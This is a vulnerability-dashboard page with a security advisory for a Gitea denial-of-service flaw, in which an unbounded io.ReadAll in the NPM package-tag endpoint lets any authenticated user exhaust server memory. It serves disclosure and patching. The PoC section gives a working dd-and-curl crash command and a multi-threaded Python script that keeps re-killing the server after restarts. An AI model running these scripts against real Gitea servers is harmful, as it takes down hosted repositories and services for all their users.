Kestrel
대시보드로 돌아가기
CVE-2026-42931MEDIUM· 6.5GHSA대응게시일: 2026. 07. 21.수정일: 2026. 07. 21.

Gitea: Denial of Service via Unbounded io.ReadAll in NPM Package Tag Endpoint

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
6.5medium

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한낮음
사용자 상호작용불필요
범위불변
영향
기밀성 영향없음
무결성 영향없음
가용성 영향높음
버전별 점수
CVSS 3.16.5MODERATE
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

상세 설명

Summary

An unbounded io.ReadAll(ctx.Req.Body) call in the NPM package tag API endpoint allows any authenticated user to crash the Gitea server by sending a single large HTTP request. The request body is read entirely into memory with no size limit, causing an Out-of-Memory (OOM) kill. With concurrent requests, the attack produces a persistent denial of service that survives automatic restarts.

Details

The AddPackageTag function reads the entire HTTP request body into memory using io.ReadAll() with no size validation:

text
1// routers/api/packages/npm/npm.go:332-341
2func AddPackageTag(ctx *context.Context) {
3 packageName := packageNameFromParams(ctx)
4
5 body, err := io.ReadAll(ctx.Req.Body) // NO SIZE LIMIT
6 if err != nil {
7 apiError(ctx, http.StatusInternalServerError, err)
8 return
9 }
10 version := strings.Trim(string(body), "\"")
11 // ...
12}

This route is registered at routers/api/packages/api.go:433:

text
1r.Group("/-/package/{id}/dist-tags", func() {
2 // ...
3 r.Group("/{tag}", func() {
4 r.Put("", npm.AddPackageTag) // reqPackageAccess(perm.AccessModeWrite)
5 r.Delete("", npm.DeletePackageTag)
6 })
7})

Why this causes OOM and not just a slow request:

In Go, io.ReadAll() reads into a []byte that grows dynamically. When the incoming data exceeds available memory, the Go runtime attempts to allocate a larger backing array. This allocation fails, triggering an unrecoverable runtime.throw("out of memory") that kills the entire process, not just the goroutine handling the request.

No server-side size limits apply to this endpoint:

Gitea has per-type size limits (e.g., LIMIT_SIZE_NPM) defined in modules/setting/packages.go, but these are only enforced during UploadPackage, not in AddPackageTag. The mustBytes() function defaults all limits to -1 (unlimited) when not explicitly configured:

text
1// modules/setting/packages.go:96-101
2func mustBytes(section ConfigSection, key string) int64 {
3 const noLimit = "-1"
4 value := section.Key(key).MustString(noLimit) // defaults to "-1"
5 if value == noLimit {
6 return -1
7 }

Even if an admin sets LIMIT_SIZE_NPM, it would not protect this endpoint. AddPackageTag never checks any size limit before calling io.ReadAll().

The Gitea HTTP server has no global request body size limit. The HashedBuffer used for package uploads (which does have a 32MB memory buffer before spilling to disk) is not used for this endpoint. AddPackageTag reads the body directly via io.ReadAll(), bypassing all buffer protections:

text
1// modules/packages/hashed_buffer.go:29-33
2const DefaultMemorySize = 32 * 1024 * 1024 // 32MB, which is safe and spills to disk
3
4// but npm.go:336 bypasses this entirely:
5body, err := io.ReadAll(ctx.Req.Body) // reads everything into RAM, no limit

Access requirements:

  • The route requires reqPackageAccess(perm.AccessModeWrite)
  • Any user has write access to their own package namespace (services/context/package.go:155-157):
    text
    1if doer.ID == pkgOwner.ID {
    2 accessMode = perm.AccessModeOwner
    3}
  • No NPM package needs to exist. The OOM occurs at line 336 before the package lookup at line 343:
    text
    1body, err := io.ReadAll(ctx.Req.Body) // line 336; OOM happens here
    2// ...
    3pv, err := packages_model.GetVersionByNameAndVersion(...) // line 343, which is never reached

PoC

Tested Environment:

  • Gitea instance (tested on v1.26.2 Docker, confirmed in source up to v1.27.0-dev)

Prerequisites: Set up test environment

bash
1# docker-compose.yml
2version: "3"
3services:
4 gitea:
5 image: gitea/gitea:latest
6 container_name: gitea-dos-test
7 environment:
8 - GITEA__database__DB_TYPE=sqlite3
9 - GITEA__service__DISABLE_REGISTRATION=false
10 ports:
11 - "3000:3000"
12 deploy:
13 resources:
14 limits:
15 memory: 512M
bash
1docker compose up -d
2# Complete initial setup in browser at http://localhost:3000
3# Register a user account (e.g., user1 / Password123!)

Step 1: Single request OOM crash

bash
1# Send ~80% of container memory to the AddPackageTag endpoint.
2# The body is read entirely into memory via io.ReadAll().
3# For 512MB container: count=400 (~400MB) is enough.
4# For larger containers, scale accordingly (e.g., count=800 for 1GB, count=1600 for 2GB).
5# The package owner in the URL must match the authenticated user's username.
6dd if=/dev/zero bs=1M count=400 | curl -u "user1:Password123!" \
7 -X PUT \
8 -H "Content-Type: application/json" \
9 --data-binary @- \
10 "http://localhost:3000/api/packages/user1/npm/-/package/anything/dist-tags/latest" \
11 --max-time 120

Step 2: Verify server crash

bash
1# Check if server responds
2curl -s -o /dev/null -w "%{http_code}" http://localhost:3000/api/v1/version
3# Expected: connection refused (server is dead)

Step 3: Persistent DoS via concurrent requests (survives restart policies)

python
1# Even with restart: always, concurrent attacks re-kill on startup
2import threading, requests, itertools
3
4payload = open('/tmp/p', 'rb').read() if __import__('os').path.exists('/tmp/p') else b'\x00' * (500 * 1024 * 1024)
5i = itertools.count(1)
6
7def worker():
8 s = requests.Session()
9 while True:
10 n = next(i)
11 try:
12 s.put(
13 f"http://localhost:3000/api/packages/user1/npm/-/package/pkg{n}/dist-tags/latest",
14 data=payload,
15 auth=("user1", "A@12345678"),
16 timeout=120
17 )
18 except Exception:
19 pass
20
21for _ in range(20):
22 threading.Thread(target=worker, daemon=True).start()
23
24__import__('signal').pause()

One 400MB upload triggers OOM kill

https://github.com/user-attachments/assets/a7ba4566-56d5-41ba-ad9f-7e23045fa0f6

Crash loop after OOM with Docker restart policy

https://github.com/user-attachments/assets/9211649f-e10c-4b78-a1e5-223ab90d04a7

Observed result on Gitea 1.26.2:

  • Server logs: Received signal 15; terminating.
  • Container status: Exited (0)
  • Server remains down until manual restart
  • With restart: always, server restarts but can be immediately re-killed

Impact

Who is impacted:

  • All Gitea instances with the package registry enabled (enabled by default)
  • Any authenticated user can crash the server (No admin privileges required)
  • With self-registration enabled (default), an unauthenticated attacker can register an account and immediately crash the server
  • All users of the Gitea instance lose access to repositories, CI/CD, issues, and all hosted services

Attack characteristics:

  • Single request is sufficient to crash the server
  • No special payload: raw zeros work (no compression tricks needed)
  • Persistent multiple requests can re-kill the server even after auto-restart
  • Minimal bandwidth: attacker sends ~80% of the server's available memory in a single request to crash it (e.g., ~400MB for a 512MB instance, ~1.6GB for a 2GB instance)

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.